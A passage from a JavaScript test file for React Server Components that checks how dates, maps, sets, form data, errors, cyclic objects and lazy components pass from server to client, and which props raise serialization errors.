(\n        <span>\n          {props.greeting}, {props.name}\n        </span>\n      );\n    }\n    const User = clientReference(UserClient);\n\n    function Greeting({firstName, lastName}) {\n      return <User greeting=\"Hello\" name={firstName + ' ' + lastName} />;\n    }\n\n    const model = {\n      greeting: <Greeting firstName=\"Seb\" lastName=\"Smith\" />,\n    };\n\n    const transport = ReactNoopFlightServer.render(model);\n\n    await act(async () => {\n      const rootModel = await ReactNoopFlightClient.read(transport);\n      const greeting = rootModel.greeting;\n      expect(getDebugInfo(greeting)).toEqual(\n        __DEV__\n          ? [\n              {time: 12},\n              {\n                name: 'Greeting',\n                env: 'Server',\n                key: null,\n                stack: '    in Object.<anonymous> (at **)',\n                props: {\n                  firstName: 'Seb',\n                  lastName: 'Smith',\n                },\n              },\n              {time: 13},\n            ]\n          : undefined,\n      );\n      ReactNoop.render(greeting);\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(<span>Hello, Seb Smith</span>);\n  });\n\n  // @gate !__DEV__ || enableComponentPerformanceTrack\n  it('can render a shared forwardRef Component', async () => {\n    const Greeting = React.forwardRef(function Greeting(\n      {firstName, lastName},\n      ref,\n    ) {\n      return (\n        <span ref={ref}>\n          Hello, {firstName} {lastName}\n        </span>\n      );\n    });\n\n    const root = <Greeting firstName=\"Seb\" lastName=\"Smith\" />;\n\n    const transport = ReactNoopFlightServer.render(root);\n\n    await act(async () => {\n      const result = await ReactNoopFlightClient.read(transport);\n      expect(getDebugInfo(result)).toEqual(\n        __DEV__\n          ? [\n              {time: 12},\n              {\n                name: 'Greeting',\n                env: 'Server',\n                key: null,\n                stack: '    in Object.<anonymous> (at **)',\n                props: {\n                  firstName: 'Seb',\n                  lastName: 'Smith',\n                },\n              },\n              {time: 13},\n            ]\n          : undefined,\n      );\n      ReactNoop.render(result);\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(<span>Hello, Seb Smith</span>);\n  });\n\n  it('can render an iterable as an array', async () => {\n    function ItemListClient(props) {\n      return <span>{props.items}</span>;\n    }\n    const ItemList = clientReference(ItemListClient);\n\n    function Items() {\n      const iterable = {\n        [Symbol.iterator]: function* () {\n          yield 'A';\n          yield 'B';\n          yield 'C';\n        },\n      };\n      return <ItemList items={iterable} />;\n    }\n\n    const model = <Items />;\n\n    const transport = ReactNoopFlightServer.render(model);\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(<span>ABC</span>);\n  });\n\n  it('can render an iterator as a single shot iterator', async () => {\n    const iterator = (function* () {\n      yield 'A';\n      yield 'B';\n      yield 'C';\n    })();\n\n    const transport = ReactNoopFlightServer.render(iterator);\n    const result = await ReactNoopFlightClient.read(transport);\n\n    // The iterator should be the same as itself.\n    expect(result[Symbol.iterator]()).toBe(result);\n\n    expect(Array.from(result)).toEqual(['A', 'B', 'C']);\n    // We've already consumed this iterator.\n    expect(Array.from(result)).toEqual([]);\n  });\n\n  it('can render a Generator Server Component as a fragment', async () => {\n    function ItemListClient(props) {\n      return <span>{props.children}</span>;\n    }\n    const ItemList = clientReference(ItemListClient);\n\n    function* Items() {\n      yield 'A';\n      yield 'B';\n      yield 'C';\n    }\n\n    const model = (\n      <ItemList>\n        <Items />\n      </ItemList>\n    );\n\n    const transport = ReactNoopFlightServer.render(model);\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(<span>ABC</span>);\n  });\n\n  it('can render undefined', async () => {\n    function Undefined() {\n      return undefined;\n    }\n\n    const model = <Undefined />;\n\n    const transport = ReactNoopFlightServer.render(model);\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(null);\n  });\n\n  // @gate FIXME\n  it('should transport undefined object values', async () => {\n    function ServerComponent(props) {\n      return 'prop' in props\n        ? `\\`prop\\` in props as '${props.prop}'`\n        : '`prop` not in props';\n    }\n    const ClientComponent = clientReference(ServerComponent);\n\n    const model = (\n      <>\n        <div>\n          Server: <ServerComponent prop={undefined} />\n        </div>\n        <div>\n          Client: <ClientComponent prop={undefined} />\n        </div>\n      </>\n    );\n\n    const transport = ReactNoopFlightServer.render(model);\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <div>Server: `prop` in props as 'undefined'</div>\n        <div>Client: `prop` in props as 'undefined'</div>\n      </>,\n    );\n  });\n\n  it('can render an empty fragment', async () => {\n    function Empty() {\n      return <React.Fragment />;\n    }\n\n    const model = <Empty />;\n\n    const transport = ReactNoopFlightServer.render(model);\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(null);\n  });\n\n  it('can transport weird numbers', async () => {\n    const nums = [0, -0, Infinity, -Infinity, NaN];\n    function ComponentClient({prop}) {\n      expect(prop).not.toBe(nums);\n      expect(prop).toEqual(nums);\n      expect(prop.every((p, i) => Object.is(p, nums[i]))).toBe(true);\n      return `prop: ${prop}`;\n    }\n    const Component = clientReference(ComponentClient);\n\n    const model = <Component prop={nums} />;\n\n    const transport = ReactNoopFlightServer.render(model);\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      // already checked -0 with expects above\n      'prop: 0,0,Infinity,-Infinity,NaN',\n    );\n  });\n\n  it('can transport BigInt', async () => {\n    function ComponentClient({prop}) {\n      return `prop: ${prop} (${typeof prop})`;\n    }\n    const Component = clientReference(ComponentClient);\n\n    const model = <Component prop={90071992547409910000n} />;\n\n    const transport = ReactNoopFlightServer.render(model);\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      'prop: 90071992547409910000 (bigint)',\n    );\n  });\n\n  it('can transport Date', async () => {\n    function ComponentClient({prop}) {\n      return `prop: ${prop.toISOString()}`;\n    }\n    const Component = clientReference(ComponentClient);\n\n    const model = <Component prop={new Date(1234567890123)} />;\n\n    const transport = ReactNoopFlightServer.render(model);\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput('prop: 2009-02-13T23:31:30.123Z');\n  });\n\n  it('can transport Map', async () => {\n    function ComponentClient({prop, selected}) {\n      return `\n        map: ${prop instanceof Map}\n        size: ${prop.size}\n        greet: ${prop.get('hi').greet}\n        content: ${JSON.stringify(Array.from(prop))}\n        selected: ${prop.get(selected)}\n      `;\n    }\n    const Component = clientReference(ComponentClient);\n\n    const objKey = {obj: 'key'};\n    const map = new Map([\n      ['hi', {greet: 'world'}],\n      [objKey, 123],\n    ]);\n    const model = <Component prop={map} selected={objKey} />;\n\n    const transport = ReactNoopFlightServer.render(model);\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(`\n        map: true\n        size: 2\n        greet: world\n        content: [[\"hi\",{\"greet\":\"world\"}],[{\"obj\":\"key\"},123]]\n        selected: 123\n      `);\n  });\n\n  it('can transport Set', async () => {\n    function ComponentClient({prop, selected}) {\n      return `\n        set: ${prop instanceof Set}\n        size: ${prop.size}\n        hi: ${prop.has('hi')}\n        content: ${JSON.stringify(Array.from(prop))}\n        selected: ${prop.has(selected)}\n      `;\n    }\n    const Component = clientReference(ComponentClient);\n\n    const objKey = {obj: 'key'};\n    const set = new Set(['hi', objKey]);\n    const model = <Component prop={set} selected={objKey} />;\n\n    const transport = ReactNoopFlightServer.render(model);\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(`\n        set: true\n        size: 2\n        hi: true\n        content: [\"hi\",{\"obj\":\"key\"}]\n        selected: true\n      `);\n  });\n\n  it('can transport FormData (no blobs)', async () => {\n    function ComponentClient({prop}) {\n      return `\n        formData: ${prop instanceof FormData}\n        hi: ${prop.get('hi')}\n        multiple: ${prop.getAll('multiple')}\n        content: ${JSON.stringify(Array.from(prop))}\n      `;\n    }\n    const Component = clientReference(ComponentClient);\n\n    const formData = new FormData();\n    formData.append('hi', 'world');\n    formData.append('multiple', 1);\n    formData.append('multiple', 2);\n\n    const model = <Component prop={formData} />;\n\n    const transport = ReactNoopFlightServer.render(model);\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(`\n        formData: true\n        hi: world\n        multiple: 1,2\n        content: [[\"hi\",\"world\"],[\"multiple\",\"1\"],[\"multiple\",\"2\"]]\n      `);\n  });\n\n  it('can transport Date as a top-level value', async () => {\n    const date = new Date(0);\n    const transport = ReactNoopFlightServer.render(date);\n\n    let readValue;\n    await act(async () => {\n      readValue = await ReactNoopFlightClient.read(transport);\n    });\n\n    expect(readValue).toEqual(date);\n  });\n\n  it('can transport Error objects as values', async () => {\n    class CustomError extends Error {\n      constructor(message) {\n        super(message);\n        this.name = 'Custom';\n      }\n    }\n\n    function ComponentClient({prop}) {\n      return `\n        is error: ${prop instanceof Error}\n        name: ${prop.name}\n        message: ${prop.message}\n        stack: ${normalizeCodeLocInfo(prop.stack).split('\\n').slice(0, 2).join('\\n')}\n        environmentName: ${prop.environmentName}\n      `;\n    }\n    const Component = clientReference(ComponentClient);\n\n    function ServerComponent() {\n      const error = new CustomError('hello');\n      return <Component prop={error} />;\n    }\n\n    const transport = ReactNoopFlightServer.render(<ServerComponent />);\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n\n    if (__DEV__) {\n      expect(ReactNoop).toMatchRenderedOutput(`\n        is error: true\n        name: Custom\n        message: hello\n        stack: Custom: hello\n    in ServerComponent (at **)\n        environmentName: Server\n      `);\n    } else {\n      expect(ReactNoop).toMatchRenderedOutput(`\n        is error: true\n        name: Error\n        message: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.\n        stack: Error: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.\n        environmentName: undefined\n      `);\n    }\n  });\n\n  it('can transport Error.cause', async () => {\n    function renderError(error) {\n      if (!(error instanceof Error)) {\n        return `${JSON.stringify(error)}`;\n      }\n      return `\n        is error: ${error instanceof Error}\n        name: ${error.name}\n        message: ${error.message}\n        stack: ${normalizeCodeLocInfo(error.stack).split('\\n').slice(0, 2).join('\\n')}\n        environmentName: ${error.environmentName}\n        cause: ${'cause' in error ? renderError(error.cause) : 'no cause'}`;\n    }\n    function ComponentClient({error}) {\n      return renderError(error);\n    }\n    const Component = clientReference(ComponentClient);\n\n    function ServerComponent() {\n      const cause = new TypeError('root cause', {\n        cause: {type: 'object cause'},\n      });\n      const error = new Error('hello', {cause});\n      return <Component error={error} />;\n    }\n\n    const transport = ReactNoopFlightServer.render(<ServerComponent />, {\n      onError(x) {\n        if (__DEV__) {\n          return 'a dev digest';\n        }\n        return `digest(\"${x.message}\")`;\n      },\n    });\n\n    await act(() => {\n      ReactNoop.render(ReactNoopFlightClient.read(transport));\n    });\n\n    if (__DEV__) {\n      expect(ReactNoop).toMatchRenderedOutput(`\n        is error: true\n        name: Error\n        message: hello\n        stack: Error: hello\n    in ServerComponent (at **)\n        environmentName: Server\n        cause: \n        is error: true\n        name: TypeError\n        message: root cause\n        stack: TypeError: root cause\n    in ServerComponent (at **)\n        environmentName: Server\n        cause: {\"type\":\"object cause\"}`);\n    } else {\n      expect(ReactNoop).toMatchRenderedOutput(`\n        is error: true\n        name: Error\n        message: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.\n        stack: Error: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.\n        environmentName: undefined\n        cause: no cause`);\n    }\n  });\n\n  it('includes Error.cause in thrown errors', async () => {\n    function renderError(error) {\n      if (!(error instanceof Error)) {\n        return `${JSON.stringify(error)}`;\n      }\n      return `\n        is error: true\n        name: ${error.name}\n        message: ${error.message}\n        stack: ${normalizeCodeLocInfo(error.stack).split('\\n').slice(0, 2).join('\\n')}\n        environmentName: ${error.environmentName}\n        cause: ${'cause' in error ? renderError(error.cause) : 'no cause'}`;\n    }\n\n    function ServerComponent() {\n      const cause = new TypeError('root cause', {\n        cause: {type: 'object cause'},\n      });\n      const error = new Error('hello', {cause});\n      throw error;\n    }\n\n    const transport = ReactNoopFlightServer.render(<ServerComponent />, {\n      onError(x) {\n        if (__DEV__) {\n          return 'a dev digest';\n        }\n        return `digest(\"${x.message}\")`;\n      },\n    });\n\n    let error;\n    try {\n      await act(() => {\n        ReactNoop.render(ReactNoopFlightClient.read(transport));\n      });\n    } catch (x) {\n      error = x;\n    }\n\n    if (__DEV__) {\n      expect(renderError(error)).toEqual(`\n        is error: true\n        name: Error\n        message: hello\n        stack: Error: hello\n    in ServerComponent (at **)\n        environmentName: Server\n        cause: \n        is error: true\n        name: TypeError\n        message: root cause\n        stack: TypeError: root cause\n    in ServerComponent (at **)\n        environmentName: Server\n        cause: {\"type\":\"object cause\"}`);\n    } else {\n      expect(renderError(error)).toEqual(`\n        is error: true\n        name: Error\n        message: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.\n        stack: Error: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.\n        environmentName: undefined\n        cause: no cause`);\n    }\n  });\n\n  it('can transport AggregateError', async () => {\n    function renderError(error) {\n      if (!(error instanceof Error)) {\n        return `${JSON.stringify(error)}`;\n      }\n      let result = `\n        is error: ${error instanceof AggregateError ? 'AggregateError' : 'Error'}\n        name: ${error.name}\n        message: ${error.message}\n        stack: ${normalizeCodeLocInfo(error.stack).split('\\n').slice(0, 2).join('\\n')}\n        environmentName: ${error.environmentName}\n        cause: ${'cause' in error ? renderError(error.cause) : 'no cause'}`;\n      if ('errors' in error) {\n        result += `\n        errors: [${error.errors.map(e => renderError(e)).join(',\\n')}]`;\n      }\n      return result;\n    }\n    function ComponentClient({error}) {\n      return renderError(error);\n    }\n    const Component = clientReference(ComponentClient);\n\n    function ServerComponent() {\n      const error1 = new TypeError('first error');\n      const error2 = new RangeError('second error');\n      const error = new AggregateError([error1, error2], 'aggregate');\n      return <Component error={error} />;\n    }\n\n    const transport = ReactNoopFlightServer.render(<ServerComponent />, {\n      onError(x) {\n        if (__DEV__) {\n          return 'a dev digest';\n        }\n        return `digest(\"${x.message}\")`;\n      },\n    });\n\n    await act(() => {\n      ReactNoop.render(ReactNoopFlightClient.read(transport));\n    });\n\n    if (__DEV__) {\n      expect(ReactNoop).toMatchRenderedOutput(`\n        is error: AggregateError\n        name: AggregateError\n        message: aggregate\n        stack: AggregateError: aggregate\n    in ServerComponent (at **)\n        environmentName: Server\n        cause: no cause\n        errors: [\n        is error: Error\n        name: TypeError\n        message: first error\n        stack: TypeError: first error\n    in ServerComponent (at **)\n        environmentName: Server\n        cause: no cause,\n\n        is error: Error\n        name: RangeError\n        message: second error\n        stack: RangeError: second error\n    in ServerComponent (at **)\n        environmentName: Server\n        cause: no cause]`);\n    } else {\n      expect(ReactNoop).toMatchRenderedOutput(`\n        is error: Error\n        name: Error\n        message: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.\n        stack: Error: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.\n        environmentName: undefined\n        cause: no cause`);\n    }\n  });\n\n  it('includes AggregateError.errors in thrown errors', async () => {\n    function renderError(error) {\n      if (!(error instanceof Error)) {\n        return `${JSON.stringify(error)}`;\n      }\n      let result = `\n        is error: ${error instanceof AggregateError ? 'AggregateError' : 'Error'}\n        name: ${error.name}\n        message: ${error.message}\n        stack: ${normalizeCodeLocInfo(error.stack).split('\\n').slice(0, 2).join('\\n')}\n        environmentName: ${error.environmentName}\n        cause: ${'cause' in error ? renderError(error.cause) : 'no cause'}`;\n      if ('errors' in error) {\n        result += `\n        errors: [${error.errors.map(e => renderError(e)).join(',\\n')}]`;\n      }\n      return result;\n    }\n\n    function ServerComponent() {\n      const error1 = new TypeError('first error');\n      const error2 = new RangeError('second error');\n      const error3 = new Error('third error');\n      const error4 = new Error('fourth error');\n      const error5 = new Error('fifth error');\n      const error6 = new Error('sixth error');\n      const error = new AggregateError(\n        [error1, error2, error3, error4, error5, error6],\n        'aggregate',\n      );\n      throw error;\n    }\n\n    const transport = ReactNoopFlightServer.render(<ServerComponent />, {\n      onError(x) {\n        if (__DEV__) {\n          return 'a dev digest';\n        }\n        return `digest(\"${x.message}\")`;\n      },\n    });\n\n    let error;\n    try {\n      await act(() => {\n        ReactNoop.render(ReactNoopFlightClient.read(transport));\n      });\n    } catch (x) {\n      error = x;\n    }\n\n    if (__DEV__) {\n      expect(renderError(error)).toEqual(`\n        is error: AggregateError\n        name: AggregateError\n        message: aggregate\n        stack: AggregateError: aggregate\n    in ServerComponent (at **)\n        environmentName: Server\n        cause: no cause\n        errors: [\n        is error: Error\n        name: TypeError\n        message: first error\n        stack: TypeError: first error\n    in ServerComponent (at **)\n        environmentName: Server\n        cause: no cause,\n\n        is error: Error\n        name: RangeError\n        message: second error\n        stack: RangeError: second error\n    in ServerComponent (at **)\n        environmentName: Server\n        cause: no cause,\n\n        is error: Error\n        name: Error\n        message: third error\n        stack: Error: third error\n    in ServerComponent (at **)\n        environmentName: Server\n        cause: no cause,\n\n        is error: Error\n        name: Error\n        message: fourth error\n        stack: Error: fourth error\n    in ServerComponent (at **)\n        environmentName: Server\n        cause: no cause,\n\n        is error: Error\n        name: Error\n        message: fifth error\n        stack: Error: fifth error\n    in ServerComponent (at **)\n        environmentName: Server\n        cause: no cause,\n\n        is error: Error\n        name: Error\n        message: sixth error\n        stack: Error: sixth error\n    in ServerComponent (at **)\n        environmentName: Server\n        cause: no cause]`);\n    } else {\n      expect(renderError(error)).toEqual(`\n        is error: Error\n        name: Error\n        message: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.\n        stack: Error: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.\n        environmentName: undefined\n        cause: no cause`);\n    }\n  });\n\n  it('can transport cyclic objects', async () => {\n    function ComponentClient({prop}) {\n      expect(prop.obj.obj.obj).toBe(prop.obj.obj);\n    }\n    const Component = clientReference(ComponentClient);\n\n    const cyclic = {obj: null};\n    cyclic.obj = cyclic;\n    const model = <Component prop={cyclic} />;\n\n    const transport = ReactNoopFlightServer.render(model);\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n  });\n\n  it('can transport cyclic arrays', async () => {\n    function ComponentClient({prop, obj}) {\n      expect(prop[1]).toBe(prop);\n      expect(prop[0]).toBe(obj);\n    }\n    const Component = clientReference(ComponentClient);\n\n    const obj = {};\n    const cyclic = [obj];\n    cyclic[1] = cyclic;\n    const model = <Component prop={cyclic} obj={obj} />;\n\n    const transport = ReactNoopFlightServer.render(model);\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n  });\n\n  it('can render a lazy component as a shared component on the server', async () => {\n    function SharedComponent({text}) {\n      return (\n        <div>\n          shared<span>{text}</span>\n        </div>\n      );\n    }\n\n    let load = null;\n    const loadSharedComponent = () => {\n      return new Promise(res => {\n        load = () => res({default: SharedComponent});\n      });\n    };\n\n    const LazySharedComponent = React.lazy(loadSharedComponent);\n\n    function ServerComponent() {\n      return (\n        <React.Suspense fallback={'Loading...'}>\n          <LazySharedComponent text={'a'} />\n        </React.Suspense>\n      );\n    }\n\n    const transport = ReactNoopFlightServer.render(<ServerComponent />);\n\n    await act(async () => {\n      const rootModel = await ReactNoopFlightClient.read(transport);\n      ReactNoop.render(rootModel);\n    });\n    expect(ReactNoop).toMatchRenderedOutput('Loading...');\n    await load();\n\n    await act(async () => {\n      const rootModel = await ReactNoopFlightClient.read(transport);\n      ReactNoop.render(rootModel);\n    });\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        shared<span>a</span>\n      </div>,\n    );\n  });\n\n  it('errors on a Lazy element being used in Component position', async () => {\n    function SharedComponent({text}) {\n      return (\n        <div>\n          shared<span>{text}</span>\n        </div>\n      );\n    }\n\n    let load = null;\n\n    const LazyElementDisguisedAsComponent = React.lazy(() => {\n      return new Promise(res => {\n        load = () => res({default: <SharedComponent text={'a'} />});\n      });\n    });\n\n    function ServerComponent() {\n      return (\n        <React.Suspense fallback={'Loading...'}>\n          <LazyElementDisguisedAsComponent text={'b'} />\n        </React.Suspense>\n      );\n    }\n\n    const transport = ReactNoopFlightServer.render(<ServerComponent />);\n\n    await load();\n\n    await expect(async () => {\n      await act(async () => {\n        const rootModel = await ReactNoopFlightClient.read(transport);\n        ReactNoop.render(rootModel);\n      });\n    }).rejects.toThrow(\n      __DEV__\n        ? 'Element type is invalid: expected a string (for built-in components) or a class/function ' +\n            '(for composite components) but got: <div />. ' +\n            'Did you accidentally export a JSX literal instead of a component?'\n        : 'Element type is invalid: expected a string (for built-in components) or a class/function ' +\n            '(for composite components) but got: object.',\n    );\n    expect(ReactNoop).toMatchRenderedOutput(null);\n  });\n\n  it('can render a lazy element', async () => {\n    function SharedComponent({text}) {\n      return (\n        <div>\n          shared<span>{text}</span>\n        </div>\n      );\n    }\n\n    let load = null;\n\n    const lazySharedElement = React.lazy(() => {\n      return new Promise(res => {\n        load = () => res({default: <SharedComponent text={'a'} />});\n      });\n    });\n\n    function ServerComponent() {\n      return (\n        <React.Suspense fallback={'Loading...'}>\n          {lazySharedElement}\n        </React.Suspense>\n      );\n    }\n\n    const transport = ReactNoopFlightServer.render(<ServerComponent />);\n\n    await act(async () => {\n      const rootModel = await ReactNoopFlightClient.read(transport);\n      ReactNoop.render(rootModel);\n    });\n    expect(ReactNoop).toMatchRenderedOutput('Loading...');\n    await load();\n\n    await act(async () => {\n      const rootModel = await ReactNoopFlightClient.read(transport);\n      ReactNoop.render(rootModel);\n    });\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        shared<span>a</span>\n      </div>,\n    );\n  });\n\n  it('errors with lazy value in element position that resolves to Component', async () => {\n    function SharedComponent({text}) {\n      return (\n        <div>\n          shared<span>{text}</span>\n        </div>\n      );\n    }\n\n    let load = null;\n\n    const componentDisguisedAsElement = React.lazy(() => {\n      return new Promise(res => {\n        load = () => res({default: SharedComponent});\n      });\n    });\n\n    function ServerComponent() {\n      return (\n        <React.Suspense fallback={'Loading...'}>\n          {componentDisguisedAsElement}\n        </React.Suspense>\n      );\n    }\n\n    const transport = ReactNoopFlightServer.render(<ServerComponent />);\n\n    await act(async () => {\n      const rootModel = await ReactNoopFlightClient.read(transport);\n      ReactNoop.render(rootModel);\n    });\n    expect(ReactNoop).toMatchRenderedOutput('Loading...');\n    spyOnDevAndProd(console, 'error').mockImplementation(() => {});\n    await load();\n    expect(console.error).toHaveBeenCalledTimes(1);\n  });\n\n  it('can render a lazy module reference', async () => {\n    function ClientComponent() {\n      return <div>I am client</div>;\n    }\n\n    const ClientComponentReference = clientReference(ClientComponent);\n\n    let load = null;\n    const loadClientComponentReference = () => {\n      return new Promise(res => {\n        load = () => res({default: ClientComponentReference});\n      });\n    };\n\n    const LazyClientComponentReference = React.lazy(\n      loadClientComponentReference,\n    );\n\n    function ServerComponent() {\n      return (\n        <React.Suspense fallback={'Loading...'}>\n          <LazyClientComponentReference />\n        </React.Suspense>\n      );\n    }\n\n    const transport = ReactNoopFlightServer.render(<ServerComponent />);\n\n    await act(async () => {\n      const rootModel = await ReactNoopFlightClient.read(transport);\n      ReactNoop.render(rootModel);\n    });\n    expect(ReactNoop).toMatchRenderedOutput('Loading...');\n    await load();\n\n    await act(async () => {\n      const rootModel = await ReactNoopFlightClient.read(transport);\n      ReactNoop.render(rootModel);\n    });\n    expect(ReactNoop).toMatchRenderedOutput(<div>I am client</div>);\n  });\n\n  it('should error if a non-serializable value is passed to a host component', async () => {\n    function ClientImpl({children}) {\n      return children;\n    }\n    const Client = clientReference(ClientImpl);\n\n    function EventHandlerProp() {\n      return (\n        <div className=\"foo\" onClick={function () {}}>\n          Test\n        </div>\n      );\n    }\n    function FunctionProp() {\n      return <div>{function fn() {}}</div>;\n    }\n    function SymbolProp() {\n      return <div foo={Symbol('foo')} />;\n    }\n\n    const ref = React.createRef();\n    function RefProp() {\n      return <div ref={ref} />;\n    }\n\n    function EventHandlerPropClient() {\n      return (\n        <Client className=\"foo\" onClick={function () {}}>\n          Test\n        </Client>\n      );\n    }\n    function FunctionChildrenClient() {\n      return <Client>{function Component() {}}</Client>;\n    }\n    function FunctionPropClient() {\n      return <Client foo={() => {}} />;\n    }\n    function SymbolPropClient() {\n      return <Client foo={Symbol('foo')} />;\n    }\n\n    function RefPropClient() {\n      return <Client ref={ref} />;\n    }\n\n    const options = {\n      onError(x) {\n        return __DEV__ ? 'a dev digest' : `digest(\"${x.message}\")`;\n      },\n    };\n    const event = ReactNoopFlightServer.render(<EventHandlerProp />, options);\n    const fn = ReactNoopFlightServer.render(<FunctionProp />, options);\n    const symbol = ReactNoopFlightServer.render(<SymbolProp />, options);\n    const refs = ReactNoopFlightServer.render(<RefProp />, options);\n    const eventClient = ReactNoopFlightServer.render(\n      <EventHandlerPropClient />,\n      options,\n    );\n    const fnChildrenClient = ReactNoopFlightServer.render(\n      <FunctionChildrenClient />,\n      options,\n    );\n    const fnClient = ReactNoopFlightServer.render(\n      <FunctionPropClient />,\n      options,\n    );\n    const symbolClient = ReactNoopFlightServer.render(\n      <SymbolPropClient />,\n      options,\n    );\n    const refsClient = ReactNoopFlightServer.render(<RefPropClient />, options);\n\n    function Render({promise}) {\n      return use(promise);\n    }\n\n    await act(() => {\n      startTransition(() => {\n        ReactNoop.render(\n          <>\n            <ErrorBoundary expectedMessage=\"Event handlers cannot be passed to Client Component props.\">\n              <Render promise={ReactNoopFlightClient.read(event)} />\n            </ErrorBoundary>\n            <ErrorBoundary\n              expectedMessage={\n                __DEV__\n                  ? 'Functions are not valid as a child of Client Components. This may happen if you return fn instead of <fn /> from render. Or maybe you meant to call this function rather than return it.'\n                  : 'Functions cannot be passed directly to Client Components unless you explicitly expose it by marking it with \"use server\".'\n              }>\n              <Render promise={ReactNoopFlightClient.read(fn)} />\n            </ErrorBoundary>\n            <ErrorBoundary expectedMessage=\"Only global symbols received from Symbol.for(...) can be passed to Client Components.\">\n              <Render promise={ReactNoopFlightClient.read(symbol)} />\n            </ErrorBoundary>\n            <ErrorBoundary expectedMessage=\"Refs cannot be used in Server Components, nor passed to Client Components.\">\n              <Render promise={ReactNoopFlightClient.read(refs)} />\n            </ErrorBoundary>\n            <ErrorBoundary expectedMessage=\"Event handlers cannot be passed to Client Component props.\">\n              <Render promise={ReactNoopFlightClient.read(eventClient)} />\n            </ErrorBoundary>\n            <ErrorBoundary\n              expectedMessage={\n                __DEV__\n                  ? 'Functions are not valid as a child of Client Components. This may happen if you return Component instead of <Component /> from render. Or maybe you meant to call this function rather than return it.'\n                  : 'Functions cannot be passed directly to Client Components unless you explicitly expose it by marking it with \"use server\".'\n              }>\n              <Render promise={ReactNoopFlightClient.read(fnChildrenClient)} />\n            </ErrorBoundary>\n            <ErrorBoundary\n              expectedMessage={\n                'Functions cannot be passed directly to Client Components unless you explicitly expose it by marking it with \"use server\".'\n              }>\n              <Render promise={ReactNoopFlightClient.read(fnClient)} />\n            </ErrorBoundary>\n            <ErrorBoundary expectedMessage=\"Only global symbols received from Symbol.for(...) can be passed to Client Components.\">\n              <Render promise={ReactNoopFlightClient.read(symbolClient)} />\n            </ErrorBoundary>\n            <ErrorBoundary expectedMessage=\"Refs cannot be used in Server Components, nor passed to Client Components.\">\n              <Render promise={ReactNoopFlightClient.read(refsClient)} />\n            </ErrorBoundary>\n          </>,\n        );\n      });\n    });\n  });\n\n  it('should emit descriptions of errors in dev', async () => {\n    const ClientErrorBoundary = clientReference(ErrorBoundary);\n\n    function Throw({value}) {\n      throw value;\n    }\n\n    function RenderInlined() {\n      const inlinedElement = {\n        $$typeof: Symbol.for('react.element'),\n        type: () => {},\n        key: null,\n        ref: null,\n        props: {},\n        _owner: null,\n      };\n      return inlinedElement;\n    }\n\n    // We wrap in lazy to ensure the errors throws lazily.\n    const LazyInlined = React.lazy(async () => ({default: RenderInlined}));\n\n    const testCases = (\n      <>\n        <ClientErrorBoundary expectedMessage=\"This is a real Error.\">\n          <Throw value={new TypeError('This is a real Error.')} />\n        </ClientErrorBoundary>\n        <ClientErrorBoundary expectedMessage=\"This is a string error.\">\n          <Throw value=\"This is a string error.\" />\n        </ClientErrorBoundary>\n        <ClientErrorBoundary expectedMessage=\"{message: ..., extra: ..., nested: ...}\">\n          <Throw\n            value={{\n              message: 'This is a long message',\n              extra: 'properties',\n              nested: {more: 'prop'},\n            }}\n          />\n        </ClientErrorBoundary>\n        <ClientErrorBoundary\n          expectedMessage={'{message: \"Short\", extra: ..., nested: ...}'}>\n          <Throw\n            value={{\n              message: 'Short',\n              extra: 